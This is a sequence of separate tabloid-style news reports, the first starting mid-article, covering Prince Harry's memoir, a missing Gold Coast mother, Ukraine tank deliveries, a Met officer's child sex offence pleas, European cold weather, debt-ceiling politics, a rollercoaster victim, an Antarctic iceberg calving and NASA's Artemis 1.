The insider stated last month, that for now, there will be no official comment from the King or the Prince of Wales on its incendiary contents, including allegations of racism and 'unconscious bias' and a series of barbs aimed at Charles, William, Kate Middleton and other royals.

Harry has said his family also failed to understand that his wife-to-be needed protection against racist attacks.

Ms Garbus, in her Vanity Fair interview published today, revealed exploring issues of racism, colonialism and alleged white supremacy in the British Monarchy was her idea.

'For me, what was really important was to connect the dots to these larger historical issues,' she told the magazine, adding that the couple was, 'to their credit, very open and willing to journey down some of the paths that they might not have originally considered.'

'The love story is the spine, but, for me, it was always necessary toconnect the dots to the personal story and the larger historical context,' Ms Garbus stated.

The Vanity Fair report comes on the heels of Harry's memoir, Spare, which hit the couple's popularity on both sides of the Atlantic.

Meghan raised 'gentle concerns' about Harry's decision to release Spare and was worried if it was the right move, it was claimed today.

Meghan, 41, is said to have expressed concerns that the book could ruffle feathers.

The Vanity Fair report comes on the heels of Harry's memoir, Spare, which hit the couple's popularity on both sides of the Atlantic. Meghan raised 'gentle concerns' about Harry's decision to release Spare and was worried if it was the right move, it was claimed today. She and Harry are pictured in Episode 1 of Harry & Meghan

The royal couple are known for putting on a united front, including during the incendiary interview with Oprah Winfrey in March 2021. Harry was also in the audience with schoolchildren in New York when Meghan promoted her book The Bench.

But as Harry released his explosive memoir, which slams his family and reveals that he killed 25 Taliban fighters, Meghan has been notably absent from any promotion or interviews.

She allegedly stayed away because she would have been accused of 'trying to steal the limelight'  but also 'media-savvy' Meghan may have raised gentle concerns about whether the book was the right move, one insider told the Telegraph.

The source said: 'Is this the way she would have approached things? Possibly not. But she will always back him and would never have got involved in promoting such a personal project. This was about his own life, his journey and his own perspective.'

The book's release has coincided with Harry's popularity dropping to an all-time low after the fallout from his memoirs  in both the US and the UK.

It was said by a source close to the couple that Meghan was 'more wary' about the extremely personal memoir than the prince was, adding she may have raised 'gentle concerns'

The Duke of Sussex's autobiography has sold 750,000 copies across all formats - print, audio and e-book - in the UK since its publication on January 10

Meghan Markle had 'gentle concerns' about Prince Harry's memoirs but 'stayed in the shadows' as he sparked media storm with US publicity blitz: Click here to read more Harry appeared on The Late Show with Stephen Colbert with his wife staying away from New York Advertisement

Since its release, Harry himself has admitted that he had made changes to the book.

The Duke told the Telegraph he chose to leave out several bombshells because he was concerned his father and brother would not 'ever forgive' him.

'The first draft was different. It was 800 pages, and now it's down to 400 pages. It could have been two books, put it that way. And the hard bit was taking things out,' he said.

'There are some things that have happened, especially between me and my brother, and to some extent between me and my father, that I just don't want the world to know. Because I don't think they would ever forgive me.'

But he warned the royals: 'The way I see it is, I'm willing to forgive you for everything you've done, and I wish you'd actually sat down with me, properly, and  instead of saying I'm delusional and paranoid  actually sit down and have a proper conversation about this, because what I'd really like is some accountability. And an apology to my wife.'

The duke has faced a storm over Spare, which has driven an extraordinary wedge between him and the rest of his family.

Harry claimed he knew including details about intimate moments with his family would attract backlash  but ultimately decided he couldn't truthfully tell his story without them.

There are other details, though, that he knew would cross the line if he published them.

These memories were shared with his ghostwriter only for context, and did not make the final cut.

The royal couple typically put on a united front, with Prince Harry making an appearance at the end of his wife's interview with Oprah Winfrey in March 2021. The couple are pictured during the Oprah interview

Harry and Meghan are said to have signed a four-book deal worth upwards of 16million ($20million) with publishing giant Penguin Random House

Harry and Meghan are said to have signed a four-book deal worth upwards of 16million ($20million) with publishing giant Penguin Random House.

He told the Telegraph that any chance of reconciliation with his family is 'unlikely at the moment', arguing that you don't make friends  'especially within my family'  if you talk about trauma.

He said: 'How dare you talk about it, because that makes us feel uncomfortable.'

His message to the Royal Family is that while 'you may not like me in the moment', hopefully in five or 10 years' time, 'maybe you'll thank me'.

The duke's autobiography has sold 750,000 copies across all formats  print, audio and e-book  in the UK since its publication on January 10.

This makes it the biggest-selling memoir ever for its first week of publication, according to publishers Transworld, the UK division of Penguin Random House.

Official figures from Nielsen BookData showed the book, which was written by celebrity ghostwriter JR Moehringer, sold 467,183 print copies in its first week alone.

The Nielsen data shows the book has broken the previous record of 210,506 set by the first Pinch Of Nom cookbook by Kay Allinson in 2019.
The desperate search for a missing mum continues after cops rushed to her home following a break and enter call - only to find it burning and covered in blood stains.

Gold Coast mother Wendy Sleeman, 61, called emergency services to her Ironbark St house in Elanora, in the city's south, at about 3pm on Tuesday over an alleged burglary.

Police arrived at the home at about 3.30pm but found no trace of Ms Sleeman, only a burning door mat at the front of the house and large amounts of blood.

Regional crime co-ordinator Detective Superintendent Brendan Smith told reporters on Wednesday police hold 'grave concerns' for the mother with the crime scene showing 'clear signs of violence'.

'(Ms Sleeman's disappearance) is very out of character, the scene would suggest there has been some violence so we're concerned for her safety, but also his safety,' Supt Smith said.

'It would indicate there has been a dispute between the homeowner and somebody - who we believe to be the son.'

Police issued a 'high risk' missing person alert for 61-year-old Wendy Sleeman (above) after blood was discovered in her burning Elanora home on Tuesday

Queensland Police are searching for a 30-year-old man (above), believed to be Ms Sleeman's son, but warned the public against approaching him

Forensic teams were seen collecting evidence from the home late into the night.

Police released a missing persons alert for a '61-year-old woman' at 7.45pm on Tuesday, seeking 'urgent assistance' to find a 30-year-old man they believe can help with inquiries.

Supt Smith confirmed the man they are looking for is Ms Sleeman's son Jamie, who has legally changed his name to Slade Murdok.

Supt Smith said witness accounts of a man at Ms Sleeman's home on Tuesday afternoon matched Mr Murdok's description.

He said 'various government agencies' had worked with the mother and son to try and resolve various 'problems'.

Forensic teams collected evidence from Ms Sleeman's (above) home late into Tuesday night after being called to the Ironbark St address at about 3.30pm

Mr Murdok is believed to be driving a blue Honda Jazz with the Queensland registration number 952AT4.

However, police have widened their search from the Elanora area with possible sightings of the car reported in Brisbane.

Mr Murdok is believed to be driving a blue Honda Jazz with the Queensland registration 952AT4 (above)

He is described as Caucasian, 180cm tall, with brown hair and of a slim build.

Ms Sleeman is known in the local community for breeding Labradors with police appealing to neighbours for more information.

Police warned the public against approaching Mr Murdok if he is seen.

Anyone with information on the location of Ms Sleeman or Murdok is urged to contact police.
Germany has also agreed to send a unit of armored vehicles after fierce debate in Europe around military support for the war

Former Secretary of State Mike Pompeo has said the United States must provide Ukraine with the military equipment it needs to defeat Russia and insisted ongoing support is 'in America's best interest'.

Pompeo, who is also the former Director of the CIA, said providing Ukraine with support is the fastest way to end the war.

He spoke amid reports the US is preparing to send a shipment of M1 Abrams tanks to Ukraine, while European countries also weighing sending further arms to Kyiv.

Asked on Fox News if The US should be helping Ukraine, he said: 'I think about it a little differently. We should be helping America.

'Helping America means a sovereign nation that is prepared to defend itself from an invasion and an attack where civilians are being killed by Vladimir Putin is in America's best interest for our economy, for our security.

Mike Pompeo, the former Secretary of State, said US support was in 'America's best interests' and the quickest way to end the war between Ukraine and Russia

The US is preparing to send dozens of M1 Abrams battle tanks (pictured) to help Ukraine's war effort

'We should be doing everything the Ukrainians are asking us to do. They haven't asked us to send our soldiers. They haven't asked for the 82nd Airborne. They've simply said, provide us the stuff we need. And it is their lives that are at risk.'

His comments come amid discussion in the US around how much further support should be given to Ukraine. Washington has already pledged billions in military aid and politicians are divided over whether the expensive support should continue.

Pompeo added: 'The Biden administration has been afraid to win.

'They've been afraid to provide the Ukrainians with the tools they need to be successful. And this will end with a negotiated solution.

The Biden administration is moving closer to sending Abrams M1 tanks to Ukraine, a step that would provide diplomatic cover for Germany to send its own Leopard tanks

German Chancellor Olaf Scholz delivers a speech in front of a Leopard 2 tank during a visit to a military base of the German army Bundeswehr in Bergen, Germany on October 17, 2022

'We should get to that point as quickly as we can. And the quickest way to end this war is to provide the Ukrainians with the military assets, the intelligence that they need to actually push Vladimir Putin off the mark.'

Ukrainian President Volodmyr Zelensky has asked repeatedly for tanks, but some Western leaders are divided about how much support should be sent

Germany finally agreed on Tuesday to send a battalion of sought-after Leopard 2 tanks to Ukraine. The news broke hours after reports the US was planning to send Abrams tanks.

The decision, which has not yet been formally announced by Berlin, concerns at least one company of Leopard 2 A6 tanks that will be provided out of Bundeswehr stocks, Der Spiegel reported.

Other allies that have stocks of the German-made battle tanks will also be able to supply units to Kyiv, which has long called for increased firepower to take the fight to Vladimir Putin's troops in the east of Ukraine.

US officials claimed the Biden administration is considering dropping its opposition to sending a company of M1 Abrams battle tanks, telling Reuters the decision could come later this week.

Pompeo said: 'The quickest way to end this war is to provide the Ukrainians with the military assets, the intelligence that they need to actually push Vladimir Putin off the mark'

German soldiers of the NATO Extended Presence Battlegroup with their 'Leopard 2' battle tank participate in the military exercise Crystal Arrow 2021 in Adazi Militari base, Latvia, in 2021

Ukrainian service members look for and collect unexploded shells after a fighting with Russian raiding group in the Ukrainian capital of Kyiv on February 26, 2022

If the decision to green-light the delivery of tanks is confirmed by Berlin, it would mark a significant upping of the ante in military aid to Ukraine.

Pompeo also said Nato allies should continue in their commitments to give Ukraine military support. He pointed to the reliance of some European countries on Russian oil and gas.

He said: 'If you depend on Russian gas, bad things will happen. And we didn't predict this would be the way.

'But the Germans and the French primarily have not invested in their own security. They should be doing this. This is, in first instance, a European problem. It's their responsibility. It's also in America's interests. And we should do it for that reason and that reason alone.'

Moscow has accused Nato of fighting a proxy war with Russia through its ongoing support for Ukraine.

The situation has prompted nuclear threats from Russia, which has repeatedly said the use of atomic weapons is a possibility.
A school liaison officer for the Met Police yesterday admitted having sex with a 14-year-old girl and possessing indecent images of children as young as two.

Some of paedophile PC Hussain Chehab's shocking offences took place when he was a serving officer whose duties included meeting parents and children at school gates in north London.

The 22-year-old is facing jail after pleading guilty to four counts of sexual activity with a child, one of sexual communication with a child and three counts of making indecent photographs of children.

No verdict was recorded in a further four counts of making indecent photographs of a child and so the Judge ordered they be left to lie on file.

PC Hussain Chehab is facing jail after pleading guilty to four counts of sexual activity with a child, one of sexual communication with a child and three counts of making indecent photographs of children

The 22-year-old had sex with the schoolgirl on at least two occasions between March and September 2019, when he was aged 19

The revelations come as Scotland Yard grapples with the fallout from last week's David Carrick scandal, after the beleaguered force was found to have had one of Britain's worst rapists lurking within its ranks for 20 years.

Chehab had sex with the schoolgirl on at least two occasions between March and September 2019, when he was aged 19 and before he joined the Met Police.

An interest in teenagers

Wood Green Crown Court also heard that the officer was found with 882 still and moving indecent images of children on his devices while a Met officer.

Of these, 293 were Category A images  the most serious  and some were said to have been of children aged just two.

Sarah Ellis, defending Chehab, said the images had come to be on his devices due to membership of chat groups, adding he did not seek images of the youngest children himself.

'He will say that yes he had an interest in teenagers but he does not have an interest in children as young as two,' she told the court.

Wood Green Crown Court (pictured) also heard that the officer was found with 882 still and moving indecent images of children on his devices while a Met officer

Judge John Dodd, KC, released him on bail under strict conditions he must not contact his victim or have unsupervised contact with anyone aged under 18.

But he warned Chehab, from Barnet, north London, that he faced a lengthy prison term.

'You have admitted some extremely serious offences and I don't want you to misunderstand  you must prepare yourself for a prison sentence,' Judge Dodd said.

He is due to be sentenced at the same court on March 17.

Following his guilty plea, an accelerated misconduct process has been initiated and will be held as quickly as possible.

Chehab joined the Met Police in March 2020 and was attached to North Area Command Unit.

His offending came to light when the family of a 16-year-old girl called police to raise concerns about the fact she had recently been in a relationship with Chehab, which they believed began when she was 15 years old.

He was arrested on August 24, 2021 during which time a number of digital devices were seized.

He was placed on restricted duties, which ordered him to work within the confines of a police building in a non public-facing role and to have no contact with schools or children.

When his devices were examined, a number of indecent images were found and he was further arrested on October 28, when he was also suspended from duty.

Analysis of further devices also revealed messages between PC Chehab and a 14-year-old girl engaging in sexual communication. She later provided evidence to police that they had entered into a sexual relationship in 2019 when she was just 14.

On September 13 he was charged with the above offences.

Detective Chief Superintendent Caroline Haines, lead for policing in Enfield where PC Chehab served, said: 'Our thoughts foremost today are with the young girls who Chehab exploited and took advantage of for his own sexual gratification.

'These offences are made all the more sickening by the fact that some of the image offences were committed while PC Chehab was in a role as a Safer Schools officer attached to a secondary school in Enfield between May 2021 and his arrest in August 2021.

'Once the initial allegations against PC Chehab were made, he was immediately removed from his role while the investigation took place. We have worked closely with the school concerned, and Enfield local authority, to ensure that there were no further unreported safeguarding incidents or missed opportunities.

'A review of the information provided to the Met prior to him joining as a police officer was carried out and nothing was found that could have indicated his offending.

'Prior to commencing his role as a Safer Schools Officer he was also subject to further Child and Vulnerable Group Supervision vetting, in line with the current vetting standards for all those who work with children and young persons.

'This news will of course cause considerable damage and concern, not only to the local community, but Londoners as a whole, who place their trust in police officers to go into our schools alongside their children every day and keep them safe.

'While no evidence has been found linking any of Chehab's offending to his role, we are engaging with our local schools, community forums and independent advisory groups to reassure them following the damage his actions will have caused.

'The Met continues to ruthlessly target those who corrupt our identity. We have made it clear there is no place for the likes of PC Chehab in the Met and will take quick and immediate action to arrest and prosecute anyone who commits such abhorrent criminal acts, and will work to quickly remove them from the organisation.'

His crimes come as the Met urgently reviews about 1,100 officers and staff who have had complaints about domestic abuse or sexual offending made about them in the last decade in the wake of the Carrick scandal.

Last Monday firearms officer Carrick, 48, admitted 49 charges against a dozen women including 24 counts of rape committed during a 17-year campaign of horrific offending.
Spanish party island Ibiza has been blanketed with snow as freezing weather swept across Spain, while temperatures in the UK plummeted to -8C.

Ibiza, famed for its sun-soaked holiday destinations and parties, saw its beaches covered in snow during the unusual cold snap.

Residents on the island built snowmen and wrote 'Ibiza 2023' on a frozen windscreen as they enjoyed the snowy weather.

Temperatures in Spain reached as low as -15C in Catalonia as the country was blasted by the polar freeze currently sweeping across Europe.

Residents in Ibiza built a snowman as they enjoyed the usually frosty weather on the Spanish island

Ibiza, famed as a sun-soaked holiday destination, was blanketed with snow and ice

The town of Sant Joan de Labritja in Ibiza dropped to -1.8C on Monday night, according to the Spanish meteorological office AEMET.

The weather agency issued yellow weather warnings for parts of Spain during the freezing temperatures.

Meanwhile in the UK, unusual weather 'flipped the norm' and left parts of northern Scotland enjoying warmer temperatures than the freezing southern England, the Met Office said.

An overnight low of -8.6C was recorded in Benson, Oxfordshire, on Monday, while Altnaharra in the Highlands reached a balmy 10.6C.

The UK Health Security Agency (UKHSA) has extended a level 3 cold weather alert until 9am on Friday, and urged people to keep warm and check in on family and friends who may be more vulnerable.

It will be mostly cloudy across much of Scotland, northern England, Northern Ireland, north-west Wales and south-east England on Tuesday, with freezing fog clearing for some, but remaining cold in the South, the Met Office added.

Highs of 12C or 13C could be recorded in parts of north-east Scotland on Tuesday, compared with likely highs of 4C or 5C in the South of England, Mr Claydon said.

One resident wrote 'Ibiza 2023' in the snow on a windscreen after the island was hit by the cold snap

Beaches in Ibiza were covered in snow as temperatures in Spain reached as low as -15C

Wintry conditions have gripped parts of the UK, with this windmill coated with an icy glaze overnight

Wicken Fen in Cambridgeshire on a cold and foggy morning as the frost continued

Flipped fortunes once again this Tuesday morning, with a large difference in temperature across the UK

The forecaster expects it to be cloudily across much of northern England and Scotland on Tuesday night, with rain over western hills and over parts of Scotland.

It said frosty conditions and freezing fog are likely further south.

It anticipates there will be more freezing fog over parts of southern England on Wednesday morning, with early cloud and rain over Scotland drifting southwards to reach southern England later that day.

Snow fell on the Costa Del Sol region of Spain last night

Heavy storms brought hail stones to the sunshine coast beaches and popular tourists towns. Snow could be seen covering the roads and pavements in popular tourists towns such as Mijas

Its provisional outlook for Thursday to Saturday forecasts that it will be 'mostly dry through this period, away from western Scotland', with 'some frost and fog patches overnight into Thursday and Friday, but less so by Saturday'.

Met Office spokesman Oli Claydon said: 'It's relatively unusual  we obviously expect it to be the other way around, especially at this time of year, but, due to the position of high and low pressure around the UK, it's flipped the norm.'

He said temperatures will 'start to even out' by Wednesday but there will still be a 'little bit of disparity' with it likely remaining a 'bit colder in the south'.

But he expects 'more uniformity' by Thursday, with temperatures of about 7C or 8C expected 'across the board'.

Snow was seen on the beaches of Ibiza this week. The weather agency issued yellow weather warnings for parts of Spain during the freezing temperatures
Democratic leaders are putting the onus on congressional Republicans to put forward their solution to the debt limit crisis  after Senate Minority Leader Mitch McConnell said any deal must be hatched between the new House speaker and President Biden.

'For Republicans, show us your plan,' Senate Minority Leader Charles Schumer said at the White House Tuesday, after a joint leadership meeting with President Biden in the Oval Office.

He referenced the new House GOP rules package and Speaker Kevin McCarthy's pledge to run the House through regular order after making concessions to GOP rebels.

'Let's see what their plan is on the debt ceiling. They want to cut Social Security? They want to cut Medicare? And they want to cut Veterans' benefits and they want to cut police? ... What's your plan? We don't even know if they can put one together.'

The show of unity comes as the Biden White House has been thrown off by a series of classified document disclosures.

President Joe Biden is preparing to trash GOP economy plans on Thursday. 'Apparently they're genuinely serious about cutting Social Security, cutting Medicare,' he said, as he met Democratic leaders including Minority Leader Hakeem Jeffries and Vice President Kamala Harris

'For Republicans, show us your plan,' Senate Minority Leader Charles Schumer told reporters at the White House

He spoke after President Biden at the top of a meeting with Democratic leaders ripped 'extreme Republican economic plans.'

'Apparently they're genuinely serious about cutting Social Security, cutting Medicare. And I love their 30 percent sales tax,' Biden said. 'We want to talk a lot about that,' he continued, teasing a Thursday speech in Virginia.

The comments come after McConnell, who helped negotiate a solution to the last debt limit impasse in 2011, dropped the matter in McCarthy's lap with his own comments on Tuesday.

'You're probably wondering what role if any the Senate would play in this. As some of you recall, I've been through a few of these debt ceiling situations,' McConnell told reporters at the Capitol.

'I can't imagine any kind of debt ceiling measure that could pass the Senate would also pass the House, so even though the debt ceiling could originate in either the House or the Senate. In this current situation, the debt ceiling fix, if there is one, or how it's to be dealt with, will have to come out of the House,' he said.

A debt ceiling fix  'if there is one ... will have to come out of the House,' said Senate Minority Leader Mitch McConnell

The meeting came as the Biden White House has been thrown off by a series of classified document disclosures

Jonathan Lavine, co-managing partner at Bain Capital, warned of the stakes, with Treasury Secretary Janet Yellen already warning the extraordinary measures would run their course by early this summer.

'The debt ceiling is a real risk that will come to a point where it will terrify markets, because it is a wild game of chicken,' he said, Reuters reported.

McConell, a longtime member of the Senate Appropriations Committee, which designates spending, got behind McCarthy's plan to try to push for spending cuts. McCarthy agreed to link the issues amid relentless pressure from a band of GOP rebels who were withholding support for his speakership.

'So I think it's entirely reasonable for the new Speaker and his team to put spending reduction on the table. I wish him well in talking to the president. That's where a solution lies,' McConnell said, the Hill reported. 'At the risk of repeating myself, I can't imagine any debt ceiling provision passed out of the Senate with 60 votes could actually pass this particular House.'

'So I think the final solution to this particular episode lies between Speaker McCarthy and the president,' he said.

New House Minority Leader Hakeem Jeffries, meeting Biden at the White House for the first time in his new role. He leveled attacks on the GOP and spoke only in broad strokes, with high stakes talks between opposing sides not yet even begun.

'Republicans want to turn black the clock. We're going to continue to fight for the people,' he said.
Troopers in King Charless mounted ceremonial battery have circulated a humiliating video of their commander failing to mount her charger.

The footage shows Major Francesca Sykes of Kings Troop, Royal Horse Artillery, needing two soldiers to help her into the saddle before a ceremony in Green Park near Buckingham Palace.

One holds the reins while another tries to push her on to the horse. The pairs efforts fail however, to the annoyance of the assembled troops. An apparent falling-out with members of the unit has led to them trying to expose what they regard as her shortcomings as a rider.

The footage was recorded as Kings Troop helped mark the state visit of Cyril Ramaphosa, South Africas president in November 2022.

Major Francesca Sykes (right) leads The King's Troop of the Royal Horse Artillery during a Trooping the Colour ceremony

Footage shows the commander needing two soldiers to help her into the saddle before a ceremony in Green Park near Buckingham Palace

An apparent falling-out with members of the unit has led to them trying to expose what they regard as Major Sykes' (left) shortcomings as a rider

Members of the unit are supposed to be expert equestrians and spend hundreds of hours preparing for royal birthday parades, funerals and state visits. Although Major Sykes lacks height, her status dictates she rides a taller horse, around six feet in height.

However these problems have not stopped colleagues mocking her.

If you cant vault a horse unassisted then you dont pass out of training, said a Kings Troop source.

On the South African visit a warrant officer was given the job of marching to Major Sykes in his formal attire and helping her launch on to the horse. Otherwise she would never have got up. It is embarrassing.

But a Ministry of Defence spokesman said: It is completely normal for help to be offered when riders need assistance to mount their horses. Officers are provided with taller horses so their hand signals can be seen by the rest of the troop when on parade.

Major Sykes assumed command of Kings Troop in 2021 from Major Vicky Flood. She has taken part in numerous high-profile events such as Trooping the Colour.
Rollercoaster victim Shylah Rodden has taken a major step on her long road to recovery having finally been discharged from hospital.

Ms Rodden had been bedridden at the Royal Melbourne Hospital since a rollercoaster ploughed into her at the city's Royal Show on September 24.

Daily Mail Australia has contacted the Royal Melbourne Hospital and Ms Rodden's family for confirmation of her discharge.

While a Royal Melbourne Hospital spokeswoman refused to comment to Daily Mail Australia, Melbourne's Herald Sun reported the hospital had confirmed Ms Rodden was no longer a patient under their care.

Shylah Rodden was critically injured in the tragic accident in September

Horrifying footage shows Shylah Rodden (pictured in black) moments before being hit by the Rebel Coaster at the Melbourne Royal show on September 24

Ms Rodden faces years of rehabilitation after suffering a massive brain injury when she was flung nine metres into the air by the fast-moving ride while trying to retrieve a dropped phone.

Arnold Thomas & Becker, lawyers for Ms Rodden, told the Herald Sun she had been moved from hospital to another health care facility.

A spokesperson from the law firm said: 'Whilst this indicates that her condition has stabilised, the injuries she has sustained remain life-changing.'

Investigations into the accident remain ongoing, with WorkSafe still assessing if any charges are to be issued against the ride operator.

Shylah's father Alan Rodden told Daily Mail Australia soon after the incident that his daughter had suffered life-changing injuries.

'I can't talk to my daughter. She's going to be in a coma for quite a while,' he said.

'The injuries are horrific. Horrific. She's brain damaged. It's pelvic, her arms, legs, back, neck - there's hardly a thing that's not broken. I just can't work out how the hell so much damage has been done.

'Even the doctors have said they haven't seen anything as bad as this for a long time.'

While Shylah's condition has improved, close friends of hers told Daily Mail Australia latge last year she remained trapped in her body, unable to communicate with anyone.

Shylah Rodden (pictured) suffered 'life-changing' injuries after being hit by the rollercoaster

Shylah Rodden faces a long battle to recovery after being hit by a rollercoaster in September

A Melbourne Royal Show spokeswoman claimed 'the safety and well-being of our visitors to the show continues to be our number one priority' (pictured, the Royal Melbourne Show)

Her supportive family remain committed to caring for her throughout her rehabilitation.

The Rodden family endured a nightmare end to 2022 and face further anguish on the long road ahead.

Trolls have mercilessly added to the family's grief, with people continuing to slam Ms Rodden's actions.

So vile has been the abuse, a video of Ms Rodden being hit by the rollercoaster went viral after being posted on TikTok accompanied by ridiculous music.

A GoFundMe fundraiser established to help with her recovery has now raised more than $37,000.

The money is just a drop in the ocean to what will be needed to keep her comfortable for the remainder of her life.

A friend in close contact with Ms Rodden and her family told Daily Mail Australia the money raised from the fundraiser would go towards helping her long road to recovery.

'People are under the impression that this money is just for her family. But people need to know this money is for Shylah's recovery,' the friend said.

'This money will go towards her therapy, her rehabilitation, things they need to change around the house for showering and toilet needs.'

Questions over the height of fences around the ride (pictured) remain unanswered by Show management

On the day she was struck by the rollercoaster, Ms Roddenhad been working at a friend's stall at the Melbourne Royal Show.

The pair had been on a break when they decided to go on a few rides to kill time.

It is understood Ms Rodden dropped her phone while on the rollercoaster and police believe she walked onto the tracks of the high-speed ride to retrieve the device.

Government sources told Daily Mail Australia last year that whatever drove Ms Rodden to jump onto the tracks was not a concern of the safety watchdog.

It is understood WorkSafe is investigating what the ride's operators were doing when Ms Rodden made her way onto the tracks.

'Her toxicity levels are not relevant to the investigation into whether the duty holder was doing everything reasonably practicable to provide a safe and healthy workplace,' a source told Daily Mail Australia.

A WorkSafe inspection concluded that The Rebel Coaster was 'safe' to re-open just days after the accident, allowing operators to re-open the ride to the public.

The move was slammed at the time by Ms Rodden's family, who branded it 'shameful'.

A Melbourne Royal Show spokeswoman told Daily Mail Australia at the time that WorkSafe had declared the ride was safe to be re-opened.
A humongous iceberg has broken off the Brunt Ice Shelf in Antarctica, just 12 miles (19 km) away from where British scientists are working in a research station.

The iceberg has a thickness of 490 feet (150 metres) and an area of 600 square miles (1,550 km) - almost the size of Greater London.

It broke off at a huge crack that bisected the ice shelf, known as Chasm-1, which had been growing by about 2.5 miles (4 kilometres) each year since 2012.

GPS sensors began to pick up movement at Chasm-1 between 7pm and 8pm on Sunday, when it extended to roughly 40 miles (60 kilometres), across the entire shelf.

The iceberg broke off at a huge crack that bisected the ice shelf, known as Chasm-1 (pictured), which had been growing by about 2.5 miles (4 km) each year since 2012

GPS sensors began to pick up movement at Chasm-1 between 7pm and 8pm on Sunday, when it extended to roughly 40 miles (60 km) long - across the entire shelf

What's a calving event? Glacier calving is a natural occurrence caused by the forward motion of a glacier making its end unstable. During a calving event, part of the end of a glacier drops off, often forming an iceberg. Calving of glaciers is often accompanied by a loud cracking or booming sound before blocks of ice up to 60 metres (200 ft) high break loose and crash into the water. The entry of this ice into the water can cause large and hazardous waves. Advertisement

Fortunately, all of the 21 staff working at the Halley Research Station with the British Antarctic Survey (BAS) were completely safe, and had been preparing for this eventuality.

Professor Dame Jane Francis, Director of BAS, said: 'Measurements of the ice shelf are carried out multiple times a day using an automated network of high-precision GPS instruments that surround the station.

'These measure how the ice shelf is deforming and moving, and are compared to satellite images from ESA, NASA and the German satellite TerraSAR-X.

'All data are sent back to Cambridge for analysis, so we know what is happening even in the Antarctic winter - when there are no staff on the station, it is dark for 24 hours and the temperature falls below -58F (-50C).'

The glaciologists have confirmed that the area of ice the station is situated on remains unaffected by the event.

In 2016, continuous growth of Chasm-1 prompted the BAS - the national polar research institute - to relocate the site 14 miles (23 kilometres) inland.

Chasm-1 (pictured) had lain dormant for the 25 years prior to 2012, when satellite monitoring revealed it was starting to move

While this won't be the largest iceberg to split off from Antarctica, it's the biggest chunk the ice shelf has lost since observations began over 100 years ago in 1915. Pictured: Chasm-1

The weekend's 'calving event' was completely natural - not at all linked to climate change - and caused by a spring tide. Calving is a natural occurrence caused by the forward motion of a glacier making its end unstable

The weekend's 'calving event' was completely natural - not at all linked to climate change - and caused by a spring tide.

Professor Dominic Hodgson, BAS glaciologist, said: 'This calving event has been expected and is part of the natural behaviour of the Brunt Ice Shelf.

'Our science and operational teams continue to monitor the ice shelf in real-time to ensure it is safe, and to maintain the delivery of the science we undertake at Halley'.

Calving is a natural occurrence caused by the forward motion of a glacier making its end unstable.

During a calving event, part of the end of a glacier drops off, often forming an iceberg.

The Halley VI Research Centre (pictured) is an internationally important platform for atmospheric and space weather observations in a climate-sensitive zone

It sits on the Brunt Ice Shelf, that floats on the frozen continent and flows at a rate of about 1.5 miles per year.

Staff are deployed at the station between November and March to maintain the facilities that allow them to monitor experiments remotely during the winter

HOW DO SCIENTISTS MONITOR THE BRUNT ICE SHELF? Scientists use a network of 16 GPS instruments to measure any deformation of the Brunt Ice Shelf, which causes cracks, which report updates every hour. These include the Sentinel 2 satellites from the European Space Agency, NASA Worldview satellites, US Landsat 8 and TerraSAR-X. They also utilise on-site drone footage, as well as ground penetrating radar to image the subsurface The data has provided scientists with a number of ways to measure any cracks with high precision. They have also used computer models and bathymetric maps to predict how close the ice shelf was to calving. Advertisement

While this won't be the largest iceberg to split off from Antarctica, it's the biggest chunk the ice shelf has lost since observations began over 100 years ago in 1915.

Chasm-1 had lain dormant for at least 35 years prior to 2012, when satellite monitoring revealed it was starting to move.

In 2015 and 2016, scientists used ice-penetrating radar technologies and satellite images to determine the path the fracture could take, and the speed it could grow.

By December, Chasm-1 was slicing across the majority of the ice shelf, marking the beginning of the calving event.

The iceberg it has formed, which will be named by the US National Ice Center, is predicted to drift into the Weddell Sea, but glaciologists will track its movement.

The Halley VI Research Centre is an internationally important platform for atmospheric and space weather observations in a climate-sensitive zone.

It has been unoccupied during the last six winters because of the complex glaciological situation which makes the impact of calving events unpredictable.

However, staff are deployed there between November and March to maintain the facilities that allow them to monitor experiments remotely during the winter.

Those currently on site are due to be collected by aircraft around 6 February.

The Brunt ice shelf is made from glacier ice that has flowed off the land in Antarctica and floated out to sea.

All of the 21 staff working at the Halley Research Station (pictured) with the British Antarctic Survey were completely safe, and had been preparing for this eventuality

This is the second major calving from the Brunt Ice Shelf in the last two years, with the first occurring in February 2021.

In November 2020, a major fracture - called the North Rift  began carving its way through the ice and continued to extend through the start of the new year.

This accumulated in a 490 square-mile (1,270 km) iceberg, called A74, splitting off the vast floating ice shelf and drifting into the Weddell Sea.

The Brunt Ice Shelf is made from glacier ice that originally fell as snow on Antarctica and has flowed off the land and out to sea.

It flows at a rate of up to 1.2 miles (2 km) per year west towards the sea where, at irregular intervals, it calves off icebergs.

In 2021, an iceberg with an area of almost 500 square miles grazed past the western Brunt Ice Shelf, but it did not split Chasm-1.

There was concern that if it had hit West Brunt harder, it would finally cause the block to break off from the main ice shelf and create the new iceberg.
Artemis was the twin sister of Apollo and goddess of the moon in Greek mythology.

NASA has chosen her to personify its path back to the moon, which will see astronauts return to the lunar surface by 2025 - including the first woman and the next man.

Artemis 1, formerly Exploration Mission-1, is the first in a series of increasingly complex missions that will enable human exploration to the moon and Mars.

Artemis 1 will be the first integrated flight test of NASAs deep space exploration system: the Orion spacecraft, Space Launch System (SLS) rocket and the ground systems at Kennedy Space Center in Cape Canaveral, Florida.

Artemis 1 will be an uncrewed flight that will provide a foundation for human deep space exploration, and demonstrate our commitment and capability to extend human existence to the moon and beyond.

During this flight, the spacecraft will launch on the most powerful rocket in the world and fly farther than any spacecraft built for humans has ever flown.

It will travel 280,000 miles (450,600 km) from Earth, thousands of miles beyond the moon over the course of about a three-week mission.

Artemis 1, formerly Exploration Mission-1, is the first in a series of increasingly complex missions that will enable human exploration to the moon and Mars. This graphic explains the various stages of the mission

Orion will stay in space longer than any ship for astronauts has done without docking to a space station and return home faster and hotter than ever before.

With this first exploration mission, NASA is leading the next steps of human exploration into deep space where astronauts will build and begin testing the systems near the moon needed for lunar surface missions and exploration to other destinations farther from Earth, including Mars.

The will take crew on a different trajectory and test Orions critical systems with humans aboard.

Together, Orion, SLS and the ground systems at Kennedy will be able to meet the most challenging crew and cargo mission needs in deep space.

Eventually NASA seeks to establish a sustainable human presence on the moon by 2028 as a result of the Artemis mission.

The space agency hopes this colony will uncover new scientific discoveries, demonstrate new technological advancements and lay the foundation for private companies to build a lunar economy.

Who is Victor Glover? The man set to become NASA's first black astronaut to orbit the moon

